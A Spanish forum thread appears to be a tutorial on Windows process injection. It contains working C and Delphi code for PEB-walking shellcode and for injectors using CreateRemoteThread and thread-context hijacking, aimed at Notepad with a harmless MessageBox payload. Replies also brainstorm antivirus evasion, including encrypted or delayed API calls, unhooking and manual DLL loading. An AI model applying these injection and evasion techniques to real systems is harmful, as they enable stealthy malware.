15 replies to this topic

[escafandra]

Hace ya tiempo que publiqué dos tutoriales que trataban de la inyección directa de código Inyección directa de código en C y en delphi y Inyección directa de código II El primero usaba una técnica simple de inyección con el clásico uso de CreateRemoteThread. El segundo método usaba SuspendThread, SetThreadContext y ResumeThread para detener un hilo, encontrar el registro puntero de instrucciones del procesador, cambiarlo para apuntar a un shellcode y reanudar el hilo.

En ambos ejemplos asumía que el S.O. cargaría las APIs de Kernell32.dll en direcciones equivalentes cosa que viene siendo habitual en windows. En Windows todos los procesos cargan una copia de Kernel32.dll y no es obligatoria la carga en direcciones equivalentes.

La diferencia fundamental de las dos técnicas de inyección expuestas es que, mientras que CreateRemoteThread crea un hilo paralelo al principal con un comienzo y un fin claro, la técnica de suspensión de hilo requiere un "cambio de vias del procesador" para un mismo hilo y por tanto tenemos que tener prevista la vuelta del código inyectado o la app victima morirá. Esto lo conseguimos modificando el código del Shellcode antes de la inyección, para colocar el camino de vuelta. Recordar que en asm, un call provoca un push del punto de retorno y luego el salto a la subrutina. La instrucción ret realiza un pop recuperando la dirección de vuelta, para luego saltar a ésta. Conociendo esto, es el truco que usaremos para engañar al código y obligarlo a devolver el control al hilo interrumpido.

Ambas técnicas son un ejercicio interesante, pero, en principio los shellcodes usados deben tener un diseño específico..., o no.

Tras la magnífica publicación de seoane Crear Shellcode en delphi me volvió a picar el gusanillo de este tema y quise resolver dos cosas que no lo estaban en mis dos anteriores tutoriales:

1- Que un mismo shellcode pueda ser inyectado con las dos técnicas indistintamente, y por otro lado.
2- Que el shellcode encuentre por si mismo la dirección base de Kernell32.dll (hModule) y la fundamental API GetProcAddress.

El primer punto lo resuelvo asumiendo una dirección de retorno imposible, 0h que si es cambiada, corresponderá al deseo de inyección por suspensión de thread, apilándola en este caso. Si su valor es cero asumo que la inyección es por CreateRemoteThread o una ejecución directa, con lo que no es apilada.

Este segundo punto lo resolvió brillantemente seoane escaneando a lo bruto el espacio de direcciones del proceso anfitrión, yo voy a usar otra técnica más directa. Conociendo que la estructura PEB se encuentra en fs:0x30 podemos acceder al elemento PPEB_LDR_DATA apuntado por un offset 0Ch (ver estructura) y en este encontrar InLoadOrderModuleList también apuntado en un offset 0Ch, que apunta a una lista doblemente enlazada donde encontraremos en su primera entrada a ntdll y segunda entrada a Kernell32. Así conoceremos el BaseAddress de kernel32.dll. Si Microsoft no varía esto en un futuro seguirá siendo perfectamente válido. Encontrareis aquí una explicación mas detallada de esto.

cpp

DWORD GetKernel32Base()
{
  asm{
  mov eax, fs:[0x30]    // Puntero al PEB
  mov eax, [eax + 0x0C] // Puntero a PPEB_LDR_DATA
  mov eax, [eax + 0x0C] // Puntero a InLoadOrderModuleList
  mov eax, [eax]        // Entrada de ntdll.dll
  mov eax, [eax]        // Entrada de kernel32.dll
  mov eax, [eax + 0x18] // BaseAddress de kernel32.dll
  }
}

Si recordáis, en este enlace, "Encontrar los datos exportados por un módulo" trataba precisamente de encontrar todas las funciones y variables que exporta una dll o ejecutable. En dicha publicación exponía este código:

cpp

PIMAGE_EXPORT_DIRECTORY ImageExportDirectory(HMODULE hModule)
{
  DWORD VirtualAddress_edata = ((DWORD)hModule + *(DWORD*)((DWORD)hModule + 0x3C) + 0x78);
  return PIMAGE_EXPORT_DIRECTORY((DWORD)hModule + *(DWORD*)VirtualAddress_edata);
}
 
//-----------------------------------------------------------------------------
void __fastcall GetExportData(char* ModuleName, TMemo* Memo1)
{
  Memo1->Clear();
  HMODULE hModule = LoadLibrary(ModuleName);
  if(!hModule)
    hModule = GetModuleHandle(ModuleName);
  if(!hModule){
    Memo1->Text = "Can't open module";
    return;
  }
 
  PIMAGE_EXPORT_DIRECTORY IED = ImageExportDirectory(hModule);
  char* ModuleName = (char*)(IED->Name + (DWORD)hModule);
  char** Names = (char**)(IED->AddressOfNames + (DWORD)hModule);
  DWORD* EntryPoints = (DWORD*)(IED->AddressOfFunctions + (DWORD)hModule);
  WORD*  Index = (WORD*)(IED->AddressOfNameOrdinals + (DWORD)hModule);
 
  // Listar las funciones exportadas:
  for(int n=0; n<IED->NumberOfNames; n++){
      if(Index[n]>=IED->NumberOfFunctions) continue;
      char* Name = Names[n] + (DWORD)hModule;
      Memo1->Lines->Add("0x" + IntToHex((int)(EntryPoints[Index[n]] + (DWORD)hModule), 8) + ": " + String(Name));
      Application->ProcessMessages();
  }
 
  FreeLibrary(hModule);
}

El código expuesto servirá de base para encontrar la API GetProcAddress una vez que ya conocemos el hModule de Kernel32.dll:
 

cpp

  mov eax, fs:[0x30]    // Puntero al PEB
  mov eax, [eax + 0x0C] // Puntero a PPEB_LDR_DATA
  mov eax, [eax + 0x0C] // Puntero a InLoadOrderModuleList
  mov eax, [eax]        // InLoadOrderModuleList de ntdll.dll
  mov eax, [eax]        // InLoadOrderModuleList de kernel32.dll
  mov eax, [eax + 0x18] // BaseAddress de kernel32.dll
  mov KB, eax
 
  // Encuentro PIMAGE_EXPORT_DIRECTORY
  mov eax, [eax + 0x3C]
  add eax, 0x78
  add eax, KB
  mov eax, [eax]
  add eax, KB
  mov IED, eax

Por no alargar mucho el mensaje termino aquí esta parte.

Saludos.

Attached Files

•  PruebaShellcode_C.rar   38.26KB   10 downloads
•  Prueba delphi.rar   15.78KB   31 downloads

[escafandra]

El resto del código lo escribo en C. En este tipo de Shellcode nos encontramos con una dificultad añadida que es la necesidad de conocer con exactitud la posición donde colocaremos la dirección de retorno para lo que obligaremos al compilador a que no ponga cabecera ni pie de código, para el tratamiento de la pila y variables locales de la función. Ese trabajo lo realizaremos nosotros en asm.

A continuación expongo un shellcode que mostrará un MessageBox tras la inyección por la técnica que deseemos, eso si, siempre que se trate de 32->32bits puesto que 32->64bits no funciona. 
 

cpp

// El Shellcode
// Ajustar el tamaño de la pila según las variables locales que se necesiten
#define Pila 128
__declspec(naked)  // Para que el compilador no añada cabecera y pie de función
void Shellcode()
{
  char* SGetProcAddress;    // Cadenas locales
  char* SLoadLibraryA;
  char* SMessageBoxA;
  char* SUser32;
  char* MSG;                // Mensaje que se mostrará
  UINT  KB;                  // hModule de Kernel32.dll
  PIMAGE_EXPORT_DIRECTORY IED;
  PGetProcAddress _GetProcAddress;
  UINT RetAddr;
 
  asm{
  mov RetAddr, 0    // Dirección de retorno de este código
  cmp RetAddr, 0    // Si no es cero quiere decir que se modificó al inyectar
  je ini            // entonces lo colocamos en la pila, en caso contrario, no
  push RetAddr      // Apilamos Dirección de retorno para volver en suspensión de threads
 
  ini:
  pushfd
  pushad
  mov ebp, esp
  add esp, -Pila    // Reservo pila para variables creadas, se puede reservar mas...
  call sigue        // recupero eip
  sigue:
  pop eax
  add eax, cadenas - sigue  // eax apunta a las cadenas
  //lea eax, cadenas        // No funciona por problema de dirección absoluta
  mov SGetProcAddress, eax
  add eax, 15              // tamaño de _GetProcAddress + 0
  mov SLoadLibraryA, eax
  add eax, 13              // tamaño de _LoadLibraryA + 0
  mov SMessageBoxA, eax
  add eax, 12              // tamaño de _MessageBoxA + 0
  mov SUser32, eax
  add eax, 11              // tamaño de _User32 + 0
  mov MSG, eax
  jmp fin_cadenas
 
  cadenas:
  db "GetProcAddress",0
  db "LoadLibraryA",0
  db "MessageBoxA",0
  db "User32.dll", 0
  db "Eureka, mensaje inyectado", 0
  fin_cadenas:
  mov eax, fs:[0x30]    // Puntero al PEB
  mov eax, [eax + 0x0C] // Puntero a PPEB_LDR_DATA
  mov eax, [eax + 0x0C] // Puntero a InLoadOrderModuleList
  mov eax, [eax]        // InLoadOrderModuleList de ntdll.dll
  mov eax, [eax]        // InLoadOrderModuleList de kernel32.dll
  mov eax, [eax + 0x18] // BaseAddress de kernel32.dll
  mov KB, eax
 
  // Encuentro PIMAGE_EXPORT_DIRECTORY
  mov eax, [eax + 0x3C]
  add eax, 0x78
  add eax, KB
  mov eax, [eax]
  add eax, KB
  mov IED, eax
  }
 
  // Buscando GetProcAddress
  char** Names = (char**)(IED->AddressOfNames + KB);
  UINT * EntryPoints = (UINT*)(IED->AddressOfFunctions + KB);
  WORD*  Index = (WORD*)(IED->AddressOfNameOrdinals + KB);
  UINT  i = 0;
 
  for(UINT n=0; n<IED->NumberOfNames && i!=14; n++){
    if(Index[n]>=IED->NumberOfFunctions) continue;
    char* Name = Names[n] + KB;
    _GetProcAddress = (PGetProcAddress)(EntryPoints[Index[n]] + KB);
    for(i=0; SGetProcAddress[i] && Name[i] == SGetProcAddress[i]; i++);
  }
 
  // Encontrada GetProcAddress cargamos las APIs restantes
  PLoadLibraryA _LoadLibraryA = (PLoadLibraryA)_GetProcAddress((void*)KB, SLoadLibraryA);
  PMessageBoxA _MessageBoxA = (PMessageBoxA)_GetProcAddress(_LoadLibraryA(SUser32), SMessageBoxA);
 
  // MOstramos un mensaje
  _MessageBoxA(0, MSG, MSG, 0);
 
  // Preparamos el retorno
  asm{
  add esp, Pila
  popad
  popfd
  ret  // Salta al Eip
  }
}
// ¡¡¡  No cambiar de sitio  !!!
// Usado para localizar el tamaño del shellcode
void EndShellcode(){}

Hecho esto podemos guardar el binario en un archivo o convertirlo a código fuente hexadecimal con la pequeña herramienta FileToCode

Ahora voy a exponer las funciones de inyección:

En C…

cpp

//-----------------------------------------------------------------------------
// Función inyectora por suspensión de thread 32bits
BOOL InjectST(DWORD Pid, void* Shellcode, UINT SizeShellcode)
{
  POpenThread OpenThread;
  HANDLE      hProcess;  // El handle del proceso en el que inyectaremos
  HANDLE      hThread;    // El handle del thread principal del proceso
  DWORD      Tid = 0;
  CONTEXT    Context;
  DWORD      OldProtect;
  void*      BShell;    // Lugar de memoria donde copiaremos nuestro Shellcode
 
  //Abrimos el proceso en el que nos inyectaremos
  hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, Pid);
  if(!hProcess) return 0;
 
  //Abrimos el hilo
  OpenThread = (POpenThread)GetProcAddress(GetModuleHandle("kernel32.dll"), "OpenThread");
  Tid = GetFirstThreadID(Pid);
  hThread = OpenThread(THREAD_ALL_ACCESS, false, Tid);
  if(!hThread) return 0;
 
 
  //Suspendemos el hilo y tomamos el puntero de instrucciones eip
  SuspendThread(hThread);
  Context.ContextFlags = CONTEXT_CONTROL;
  GetThreadContext(hThread, &Context);
 
  //Nos damos permisos de escritura para modificar el Shellcode...
  VirtualProtectEx((void*)-1, Shellcode, SizeShellcode, PAGE_EXECUTE_READWRITE, &OldProtect);
  //Colocamos el EIP en nuestro código como parte del opcode de la primera instrucción push
  *(DWORD*)((DWORD)Shellcode+3) = Context.Eip;
 
  //Reservamos espacio de memoria y escribimos nuestro código en el
  BShell = VirtualAllocEx(hProcess, NULL, SizeShellcode, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, BShell, Shellcode, SizeShellcode, NULL);  //la función
 
  //Modificamos el eip para que apunte al código inyectado
  Context.Eip = (UINT)BShell;
  Context.ContextFlags = CONTEXT_CONTROL;
  SetThreadContext(hThread, &Context);
 
  //Le decimos al hilo que puede volver a ejecutarse (lanzará nuestro codigo)
  ResumeThread(hThread);
 
  // Provoco la ejecución del thread por parte de algún procesador.
  PostThreadMessage(Tid, 0,0,0);
 
  // Limpieza
  VirtualFree(BShell, 0, MEM_RELEASE);
  CloseHandle(hProcess);
  CloseHandle(hThread);
 
  return true;
}
 
// Función inyectora por CreateRemoteThread 32bits
BOOL InjectCRT(DWORD Pid, void* Shellcode, UINT SizeShellcode)
{
  DWORD    ExitCode;
  HANDLE  hThread = 0;
  HANDLE  hProc;      // El handle del proceso en el que inyectaremos
  void*    BFunc;      // Lugar de memoria donde copiaremos nuestra función
 
  //Abrimos el proceso en el que nos inyectaremos
  hProc = OpenProcess(PROCESS_ALL_ACCESS, false, Pid);
 
  //Reservamos espacio para la función, escribimos en él y creamos un hilo
  BFunc = VirtualAllocEx(hProc, 0, SizeShellcode, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProc, BFunc, Shellcode, SizeShellcode, NULL);
  hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)BFunc, NULL, 0, NULL);
  if(hThread){
    // Labores de limpieza...
    WaitForSingleObject(hThread, INFINITE ); // Espero a que se termine de ejecutar el Thread
    GetExitCodeThread(hThread, &ExitCode);  // Recojo el resultado
    CloseHandle(hThread);                    // Cierro el Handle hThread
    VirtualFreeEx(hProc, BFunc,  0, MEM_RELEASE); // Libero memoria del código
  }
 
  CloseHandle(hProc);
  return (BOOL)ExitCode;
}

Y en delphi…

delphi

// Función inyectora por suspensión de thread 32bits
type
TOpenThread = function(dwDesiredAccess: DWORD; bInheritHandle: BOOL; dwThreadId: DWORD): THANDLE; stdcall;
procedure InjectST(Pid: DWORD; Shellcode: Pointer; SizeShellcode: DWORD);
var
  OpenThread: TOpenThread;
  hProcess:  THANDLE;    // El handle del proceso en el que inyectaremos
  hThread:    THANDLE;    // El handle del thread principal del proceso
  Tid:        DWORD;
  Context:    TCONTEXT;
  OldProtect: DWORD;
  BShell:    Pointer;    // Lugar de memoria donde copiaremos nuestro Shellcode
begin
  Tid:= 0;
 
  //Abrimos el proceso en el que nos inyectaremos
  hProcess:= OpenProcess(PROCESS_ALL_ACCESS, false, Pid);
  if hProcess = 0 then exit;
 
  //Abrimos el hilo
  @OpenThread:= GetProcAddress(GetModuleHandle('kernel32.dll'), 'OpenThread');
  Tid:= GetFirstThreadID(Pid);
  hThread:= OpenThread($1F03FF {THREAD_ALL_ACCESS}, false, Tid);
  if hThread = 0 then exit;
 
  //Suspendemos el hilo y tomamos el puntero de instrucciones eip
  SuspendThread(hThread);
  Context.ContextFlags:= CONTEXT_CONTROL;
  GetThreadContext(hThread, Context);
 
  //Nos damos permisos de escritura para modificar el Shellcode...
  VirtualProtectEx(THANDLE(-1), Shellcode, SizeShellcode, PAGE_EXECUTE_READWRITE, OldProtect);
  //colocamos el EIP en nuestro código como parte del opcode de la primera instrucción push
  PDWORD(UINT(Shellcode)+3)^:= Context.Eip;
 
  //Reservamos espacio de memoria y escribimos nuestro código en el
  BShell:= VirtualAllocEx(hProcess, nil, SizeShellcode, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProcess, BShell, Shellcode, SizeShellcode, PDWORD(nil)^);  //la función
 
  //Modificamos el eip para que apunte al código inyectado
  Context.Eip:= UINT(BShell);
  Context.ContextFlags:= CONTEXT_CONTROL;
  SetThreadContext(hThread, Context);
 
  //Le decimos al hilo que puede volver a ejecutarse (lanzará nuestro codigo)
  ResumeThread(hThread);
 
  // Provoco la ejecución del thread por parte de algún procesador.
  PostThreadMessage(Tid, 0,0,0);
 
  // Limpieza
  VirtualFree(BShell, 0, MEM_RELEASE);
  CloseHandle(hProcess);
  CloseHandle(hThread);
end;
 
// Función inyectora por CreateRemoteThread 32bits
function InjectCRT(Pid: DWORD; Shellcode: Pointer; SizeShellcode: DWORD): BOOL;
var
  ExitCode: DWORD;
  hThread:  THandle;
  hProc:    THandle;  // El handle del proceso en el que inyectaremos
  BFunc:    Pointer;  // Lugar de memoria donde copiaremos nuestra función
  BytesWritten: DWORD;
begin
  hThread:= 0;
 
  //Abrimos el proceso en el que nos inyectaremos
  hProc:= OpenProcess(PROCESS_ALL_ACCESS, false, Pid);
 
  //Reservamos espacio para la función, escribimos en él y creamos un hilo
  BFunc:= VirtualAllocEx(hProc, nil, SizeShellcode, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(hProc, BFunc, Shellcode, SizeShellcode, BytesWritten);
  hThread:= CreateRemoteThread(hProc, nil, 0, BFunc, nil, 0, PDWORD(nil)^);
  if hThread <>0 then
  begin
    // Labores de limpieza...
    WaitForSingleObject(hThread, INFINITE ); // Espero a que se ejecute el Thread
    GetExitCodeThread(hThread, ExitCode);    // Recojo el resultado
    CloseHandle(hThread);                    // Cierro el Handle hThread
    VirtualFreeEx(hProc, BFunc,  0, MEM_RELEASE); // Libero memoria
  end;
 
  CloseHandle(hProc);
  Result:= BOOL(ExitCode);
end;

Quedan sin exponer un par de funciones para obtener el Pid de un proceso y el Tid de un Thread sobre las que no hacen falta comentarios

Dejo para el siguiente mensaje los ejemplos de uso de las funciones de inyección.


Saludos.

[escafandra]

Ejemplos de inyección del shellcode por ambas técnicas sería:

delphi

  // Con Shellcode_.c
  InjectST(GetProcessId("Notepad.exe"), Shellcode_Bytes, Shellcode_Size);
  InjectCRT(GetProcessId("Notepad.exe"), Shellcode_Bytes, Shellcode_Size);
  return 0;
 
  // Usando un binario en disco
  SaveToFile("Shellcode.bin", (PBYTE)Shellcode, (UINT)EndShellcode-(UINT)Shellcode);
  int Size;
  LoadFromFile("Shellcode.bin", 0, &Size);
  PBYTE Buffer = new BYTE[Size];
  LoadFromFile("Shellcode.bin", Buffer, &Size);
  InjectST(GetProcessId("Notepad.exe"), Buffer, Size);
  return 0;
 
  // Inyectando directamente la función Shellcode
  InjectST(GetProcessId("Notepad.exe"), Shellcode, (UINT)EndShellcode-(UINT)Shellcode);
  InjectCRT(GetProcessId("Notepad.exe"), Shellcode, (UINT)EndShellcode-(UINT)Shellcode);
  return 0;
 
  // LLamandola sin inyección
  Shellcode();
  return 0;

O en delphi

delphi

var
  Size: DWORD;
  Buffer: Pointer;
begin
  // Cargando desde Shellcode_pas
  InjectST(GetProcessId('Notepad.exe'), @Shellcode_Bytes, Shellcode_Size);
  InjectCRT(GetProcessId('Notepad.exe'), @Shellcode_Bytes, Shellcode_Size);
 
  // Cargando el binario desde un archivo
  LoadFromFile('Shellcode.bin', 0, Size);
  GetMem(Buffer, Size);
  LoadFromFile('Shellcode.bin', Buffer, Size);
  InjectST(GetProcessId('Notepad.exe'), Buffer, Size);
end.

Los motivos por lo que no podemos inyectar código de 32bits el 64 bits son:
1.- Posible resultado aberrante
2.- Error en la API CreateRemoteThread al asaltar el proceso 64bits desde 32bits
3.- Error en las APIs GetThreadContext y SetThreadContext que tienen otras equivalentes para 64 bits.

Espero que os haya resultado interesante este tema y haberme explicado lo suficientemente claro.



Saludos.

[egostar]

Muy interesante, aunque los AV son medio quisquillosos con éste tipo de código, muestran un falso positivo, les da miedo las inyecciones de código

Saludos

Attached Files

•  4475_fa1c0a35e134ca9730cadc7086a6078f3bb21272.png   25.38KB   8 downloads

[escafandra]

Veo que lo has probado. Los AV suelen ser mas quisquillosos con la API CreateRemoteThread, es por eso que puse los dos tipos de inyección. Sería interesante saber que hizo saltar la alarma, y para ello basta con eliminar el códig de cada tipo de inyector, compilar y probar si salta el AV. En principio el shellcode no tiene porqué ser la causa.

En mi caso no saltó en ningún supuesto. 


Saludos.

[seoane]

Excelente !!

Le estudiare con mas detenimiento, pero me parece un trabajo increíble.

Lastima que en cuanto sacas un poco los "pies del tiesto" le salten todas las alarmas a los antivirus    ... así no hay quien haga nada malo  Aunque mi idea al estudiar los "Shellcode" es la de poder cifrar parte de mis propios ejecutables y descifrarlos en memoria, y con eso creo que no hago daño a nadie 

Lo dicho, estas hecho un fenómeno escafandra

Saludos

[seoane]

Veo que lo has probado. Los AV suelen ser mas quisquillosos con la API CreateRemoteThread

Me pregunto que pasa si cifras la llamada a CreateRemoteThread ¿seguirá saltando la heurística del antivirus? ¿y si ademas no descifras la llamada hasta llevar 30 minutos de ejecución del programa? ¿durante cuanto tiempo analizan los ejecutables los antivirus? ... 

[escafandra]

Me pregunto que pasa si cifras la llamada a CreateRemoteThread ¿seguirá saltando la heurística del antivirus? ¿y si ademas no descifras la llamada hasta llevar 30 minutos de ejecución del programa? ¿durante cuanto tiempo analizan los ejecutables los antivirus? ... 

No vas mal encaminado. A veces basta con una simple importación dinámica de la API sospechosa como ocurrió en este caso. Y en el que usaba una técnica similar a este shellcode para encontrar APIs y variables exportadas en el PE. El problema es cuando el AV ha realizado un Hook previo a la API que quieres usar. Pero por experimentar que no quede.

Saludos.

[seoane]

El problema es cuando el AV ha realizado un Hook previo a la API que quieres usar. Pero por experimentar que no quede.

Me pregunto hasta que punto los antivirus se pueden permitir hacer la inyección de código necesaria para hacer el hook.  Estaríamos hablando de parchear una función del sistema en memoria, lo que en algunos caso puede traer consecuencias imprevisibles ¿todos los antivirus se atreverán a utilizar esta técnica?, puede que si, al fin y al cabo la grandes compañías poco se preocupan de los "daños colaterales" que puedan provocar.

También me pregunto si se puede "deshookear" una función ... entiendo que no seria mucho mas complicado que hacer un hook. O por que no, cargar la dll "kernel32" en memoria manualmente, sin utilizar loadlibrary, y usar sus funciones, que no estarán "hookeadas" ... lo digo por aportar ideas 

Saludos piratillas 

[escafandra]

Me pregunto hasta que punto los antivirus se pueden permitir hacer la inyección de código necesaria para hacer el hook.  Estaríamos hablando de parchear una función del sistema en memoria, lo que en algunos caso puede traer consecuencias imprevisibles ¿todos los antivirus se atreverán a utilizar esta técnica?, puede que si, al fin y al cabo la grandes compañías poco se preocupan de los "daños colaterales" que puedan provocar.

Pues no sólo lo hacen, sino que a veces es a nivel de Kernel. Basta con usar algunas herramientas de detección de Hooks  para verlo. Los Hooks en el Kernel son fáciles de eliminar. Los Hook a la API son algo mas costosos si se hicieron con ta técnica del prampolín, pero no es imposible.

También me pregunto si se puede "deshookear" una función ... entiendo que no seria mucho mas complicado que hacer un hook. O por que no, cargar la dll "kernel32" en memoria manualmente, sin utilizar loadlibrary, y usar sus funciones, que no estarán "hookeadas" ... lo digo por aportar ideas 

Ciertamente se puede cargar un ejecutable o dll saltando el Loader de Windows pero hay que estudiarlo y ejecutarlo muy bien. También se puede Cargar normalmente un ejecutable anodino para luego sustituirlo a lo bruto en memoria por el código que queramos... En fin las posibilidades pueden ser muchas y complejas y, porqué no, divertidas. 


Saludos.

[escafandra]

Cambiando al tema original del shellcode, Me pregunto si en delphi podemos esribir una función a lo C con __declspec(naked), es decir, poder escribir en asm y delphi sin que el compilador meta código extra para la cabecera y pie de control de la pila. De esta forma, el shellcode que expongo podría traducirse y usarse en delphi sin problemas.

Se que podemos escribir algo así:

delphi

procedure Shellcode;
asm
 
end;

Esto evita que el compilador meta código extra pero nos obliga a asm puro y duro, y aunque no es un gran problema, si es algo más incómodo.


Saludos.

[egostar]

No vas mal encaminado. A veces basta con una simple importación dinámica de la API sospechosa como ocurrió en este caso. Y en el que usaba una técnica similar a este shellcode para encontrar APIs y variables exportadas en el PE. El problema es cuando el AV ha realizado un Hook previo a la API que quieres usar. Pero por experimentar que no quede.

Saludos.

[ot]
Seguramente algunos se quedarán con las ganas de ver el enlace que ha puesto nuestro buen amigo escafandra, sin embargo los que no puedan acceder al hilo en cuestión tienen más de una forma de poder saltar la restricción:

Miembro Platino:

Este rango se pude obtener de varias formas entre las cuales destacan las siguientes:


1. Ser postulado por cualquier miembro Platino y que sea aceptado (ví­a votación) por los mismos miembros Platino
2. Que sea postulado por cualquiera de los moderadores y aceptado (ví­a votación) entre los mismo moderadores
3. Que sea asignado por cualquiera de los Administradores
4. Asignación directa al llegar a 500 mensajes

[/ot]

[escafandra]

Caramba, amigo egostar. ¿Realizando spam del foro en nuestro mismo foro? 


Saludos.

[egostar]

Caramba, amigo egostar. ¿Realizando spam del foro en nuestro mismo foro? 

Saludos.

Oops, me parece que aquí hay un mal entendido 

Saludos

[escafandra]

Para completar la explicación del Shellcode voy a tratar de esclarecer los secretos básicos del PEB de Windows. El PEB es una estructura que contiene la información del proceso que se ejecuta. Aclarar que la estructura tiene una versión 32 bits y otra 64 bits y no son equivalentes en tamaño.

Para el caso que nos ocupa, 32bits (enlace):

cpp

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                        Reserved3[2];
  PPEB_LDR_DATA                Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                        Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                        Reserved7[1];
  ULONG                        SessionId;
} PEB, *PPEB;

De esta estructura sólo nos interesa el miembro Ldr que es un puntero a una estructura que contiene información sobre los módulos cargados por el ejecutable. Aquí Microsoft hace trampas pues se reserva información vital, podemos encontrarla aquí y modificarla un poco para entenderla mejor:

cpp

typedef struct _PEB_LDR_DATA {
  BYTE      Reserved1[8];
  PVOID      Reserved2[1];
  LIST_ENTRY InLoadOrderModuleList;
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

Los dos últimos miembros son elementos del tipo LIST_ENTRY, otra estructura que encierra dos punteros a listas doblemente enlazadas:

cpp

typedef struct _LIST_ENTRY {
  struct _LIST_ENTRY *Flink;
  struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

El primero apunta a elementos de tabla ascendente y el segundo, descendente, de forma que es fácil recorrer dichos elementos siguiendo esos punteros.
La tabla la publica microsoft aquí y la modificaremos un poco descubriendo las reservas que impone:

cpp

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderModuleLinks;
    LIST_ENTRY InMemoryOrderModuleLinks;
    LIST_ENTRY Reserved2;
    PVOID DllBase;
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    LSA_UNICODE_STRING DllName;
    PVOID Reserved5[3];
    union {
        ULONG CheckSum;
        PVOID Reserved6;
    };
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

Vemos que tenemos datos sensibles de los módulos cargados por el proceso que se ejecuta como són el nombre, DllBase y el punto de entrada. DllBase es la posición de memoria donde carga el módulo.

Ya disponemos de la información necesaria para caminar por las tablas de las dll cargadas y encontrar una fundamental que es KERNEL32.DLL. Esta dll es muy importante porque se carga siempre, lo hace en segundo lugar tras ntdll.dll y porque exporta una API muy interesante, GetProcAddress. Con ella podemos encontrar cualquier otra.
Otra API que nos hará falta el LoadLibrary que nos sirva para cargar cualquier dll que queramos usar.

Para ilustrar el tema voy a usar estas estructuras en delphi para listar los módulos cargados por la app que se ejecuta. Nada de lo expuesto sirve de nada si no encontramos el PEB del proceso, Para ello disponemos de la magia del registro fs:

delphi

function GetPEB: P_PEB;
begin
  asm
  push fs:[$30];
  pop  Result;
  end;
end;

Ahora solo debemos seguir las estructuras. Vamos a listar los módulos:

primero las estructuras en delphi:

delphi

type
USHORT = WORD;
ULONG  = DWORD;
 
UNICODE_STRING = record
  Length:        USHORT;
  MaximumLength: USHORT;
  Buffer:        PWCHAR;
end;
PUNICODE_STRING = ^UNICODE_STRING;
 
PLIST_ENTRY = ^LIST_ENTRY;
LIST_ENTRY = record
  Flink: PLIST_ENTRY;
  Blink: PLIST_ENTRY;
end;
 
PEB_LDR_DATA = packed record
  Reserved1: array [0..7] of BYTE;
  Reserved2: Pointer;
  InLoadOrderModuleList: LIST_ENTRY;
  InMemoryOrderModuleList: LIST_ENTRY;
end;
PPEB_LDR_DATA = ^PEB_LDR_DATA;
 
_PEB = packed record
  Reserved1:  array [0..1] of  BYTE;
  BeingDebugged:                BYTE;
  Reserved2:                    BYTE;
  Reserved3:  array [0..1] of  Pointer;
  Ldr:                          PPEB_LDR_DATA;
  ProcessParameters:            Pointer;
  Reserved4:  array [0..103] of BYTE;
  Reserved5:  array [0..51]  of Pointer;
  PostProcessInitRoutine:      Pointer;
  Reserved6:  array [0..127] of BYTE;
  Reserved7:                    Pointer;
  SessionId:                    ULONG;
end;
P_PEB = ^_PEB;
 
LDR_DATA_TABLE_ENTRY = packed record
  InLoadOrderModuleLinks:    LIST_ENTRY;
  InMemoryOrderModuleLinks:  LIST_ENTRY;
  Reserved2:                  LIST_ENTRY;
  DllBase:                    Pointer;
  EntryPoint:                Pointer;
  Reserved3:                  Pointer;
  FullDllName:                UNICODE_STRING;
  DllName:                    UNICODE_STRING;
  Reserved5:  array [0..2] of Pointer;
  TimeDateStamp:              ULONG;
end;
PLDR_DATA_TABLE_ENTRY = ^LDR_DATA_TABLE_ENTRY;

Ahora a listar:

delphi

procedure GetLoadModules;
var
  PEB: P_PEB;
  LdrTable: PLDR_DATA_TABLE_ENTRY;
  Last: PLDR_DATA_TABLE_ENTRY;
begin
  asm
    push fs:[$30];
    pop  PEB;
  end;
 
  // Encontramos La primera entrada de LdrTable
  // En ella tenemos los datos de la app que se está ejecutando, ésta.
  LdrTable:= PLDR_DATA_TABLE_ENTRY(PEB.Ldr.InLoadOrderModuleList.Flink);
  // Encontramos la última entrada para el control del bucle
  Last:= PLDR_DATA_TABLE_ENTRY(PEB.Ldr.InLoadOrderModuleList.Blink);
  repeat
    WriteLn(WideCharLenToString(LdrTable.DllName.Buffer, LdrTable.DllName.Length div 2));
    // Las siguientes entradas son todos los móulos que carga nuestra APP,
    // El primero es ntdll.dll
    LdrTable:= PLDR_DATA_TABLE_ENTRY(LdrTable.InLoadOrderModuleLinks.Flink);
  until (LdrTable = Last) or (LdrTable = nil);
  ReadLn;
end;

Ahora aplicamos esto para encontrar KERNELL32.DLL y extraer su hModule:

delphi

function GetKernell32Module0: Pointer;
var
  PEB: P_PEB;
  LdrTable: PLDR_DATA_TABLE_ENTRY;
  S:  String;
begin
  asm
    push fs:[$30];
    pop  PEB;
  end;
 
  LdrTable:= PLDR_DATA_TABLE_ENTRY(PEB.Ldr.InLoadOrderModuleList.Flink);
 
  repeat
    LdrTable:= PLDR_DATA_TABLE_ENTRY(LdrTable.InLoadOrderModuleLinks.Flink);
    S:= WideCharLenToString(LdrTable.DllName.Buffer, LdrTable.DllName.Length div 2);
  until S = 'KERNEL32.DLL';
  Result:= LdrTable.DllBase;
end;

